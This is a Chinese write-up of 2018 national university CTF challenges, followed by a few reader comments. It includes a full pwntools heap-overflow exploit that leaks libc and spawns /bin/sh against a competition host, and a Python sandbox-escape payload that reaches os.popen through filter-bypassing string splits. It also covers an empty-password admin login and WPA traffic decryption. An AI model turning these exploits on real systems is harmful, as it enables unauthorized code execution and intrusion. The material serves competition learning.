2018年全国大学生信息安全竞赛部分WriteUp # 目录 ### Pwn - supermarket ### Web - easyweb ### Crypto - flag_in_your_hand ### Misc - picture - 验证码 - Run - 寻找入侵者 ### Reverse - RE - 2ex ------------ ### Pwn #### supermarket 分析可知新输入的size重新调整了堆的大小但是没有更新结构体中的size 而输入的数据大小是根据结构体中的size计算的所有存在堆溢出通过溢出下一个结构体 实现任意读写 ```python #!/usr/bin env python from pwn import* context.log_level = 'debug' p =remote('49.4.23.162',31128) def add(name,price,descrip_size,description): p.recvuntil("your choice>> ") p.sendline("1") p.recvuntil("name:") p.sendline(name) p.recvuntil("price:") p.sendline(str(price)) p.recvuntil("descrip_size:") p.sendline(str(descrip_size)) p.recvuntil("description:") p.sendline(description) def free(name): p.recvuntil("your choice>> ") p.sendline("2") p.recvuntil("name:") p.sendline(name) def change_price(name,price): p.recvuntil("your choice>> ") p.sendline("4") p.recvuntil("name:") p.sendline(name) p.recvuntil("input the value you want to cut or rise in:") p.sendline(str(price)) def change_des(name,descrip_size,description): p.recvuntil("your choice>> ") p.sendline("5") p.recvuntil("name:") p.sendline(name) p.recvuntil("descrip_size:") p.sendline(str(descrip_size)) p.recvuntil("description:") p.sendline(description) def list(): p.recvuntil("your choice>> ") p.sendline("3") got = 0x804b038#0x804b038 add("A",0x10,0x100,"AAAA") change_des("A",8,"C"*7+"\x00") add("B",0x10,0x100,"BBBB") payload = "B"*12+ p32(0x21) + p32(0x42) + "B"*12 + p32(0x00) +p32(0x100) +p32(got) change_des('A',100,payload+'\n') list() p.recvuntil("B: price.0, des.") addr = p.recvn(4) print"addr:",hex(u32(addr)) libc = u32(addr) - 0x18540#0x49020 system_addr = libc + 0x3a940 print"libc:",hex(libc) print"system_addr:",hex(system_addr) change_des("B",0x100,p32(system_addr)*5)#+'\n' p.send('/bin/sh\x00') p.interactive() ``` ### Web #### easyweb :pensive: :pensive: :pensive: 这题神坑,折腾了我好久弱口令,注入什么的都来了一次。 试到最后发现是admin空密码登录 ![](https://i.imgur.com/l7Vb06z.png) ![](https://i.imgur.com/cy6EExC.png) ### Crypto #### flag_in_your_hand 首先我们定位到`ch()`函数 ![](https://i.imgur.com/gWnznoG.png) 分析逻辑,我们发现其实只要将a数组里的每一个都减去三就行了 得到新数组`[115,101,99,117,114,105,116,121,45,120,98,118]` 将其转换成字符串并输入 ![](https://i.imgur.com/d6a2asf.png) ### Misc #### picture 使用binwalk分离得到两个文件 ![](https://i.imgur.com/S0uIUGG.png) ![](https://i.imgur.com/jiGITiD.png) 打开mx发现是一个base64,将base64转换成文本发现PK字样猜测是压缩包 ![](https://i.imgur.com/qUBbvA0.png) 将其还原,然后修复文件头得到压缩包。发现有密码,根据提示猜测密码为`integer division or modulo by zero`,解压得到一个code文件,查阅文章得知是tar.gz.uu文件,重命名后解压得到flag ![](https://i.imgur.com/1hdkTM8.png) #### 验证码 上去随便点几个,然后返回成绩单,刷新下就能看见flag了 #### Run nc连上发现是一个python沙盒逃逸,一些能引发命令执行的库全部被禁用了。 最后在网上发现这么一个文章 https://blog.csdn.net/qq_35078631/article/details/78504415 ![](https://i.imgur.com/KyCiiDa.png) 发现`func_globals`被过滤了,我们使用`__getattribute__`绕过,例如ls一类的关键字我们使用这样的形式拆分`'l'+'s /home/ctf'` 最终payload ```python print ().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['popen' ]('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb').read () ``` #### 寻找入侵者 在我们获得了数据包之后,这些客户端和AP之间的通信是被加密了的,但是我们如果知道SSID和无线密码可以解密这些流量了,根据提示我们知道了无线密码是入侵者的MAC地址,自己流量分析不太好,于是我提取了所有的MAC地址进行爆破 ![](https://i.imgur.com/EiE6PgX.png) 然后使用wireshark官网自带的工具([WPA-PSK生成工具](https://www.wireshark.org/tools/wpa-psk.html "WPA-PSK生成工具"))生成WPA-PSK ![](https://i.imgur.com/dxol5oo.png) ![](https://i.imgur.com/AkxF4TA.png) 之后我们就能看见解密后的数据包了 ![](https://i.imgur.com/nK6ZXx4.png) 可以看到下载了一个key.pacp的流量包。我们直接下载过来,flag就在最后一个数据包里面 ![](https://i.imgur.com/A5934gn.png) ### Reverse #### RE 跟踪main函数发现三个函数 ![](https://i.imgur.com/C9VSxL3.png) 三个里面都有一串类似类似md5一样的东西 第一个编写脚本直接解密得到md5然后去cmd5查询 ![](https://i.imgur.com/gwLsmEk.png) 第二个数组dump出来 逐字节异或 ![](https://i.imgur.com/LMYwm8Y.png) 得到md5 最后一个dump文件还原 ![](https://i.imgur.com/KDftbXZ.png) 三段拼接在一起得到flag #### 2ex 直接暴力破解 三个字符一组 ![](https://i.imgur.com/OrX941m.png)
web空城计6了
老哥,misc入侵者那道题咋一下把所有mac地址提取出来
在wireshark里面有这个功能的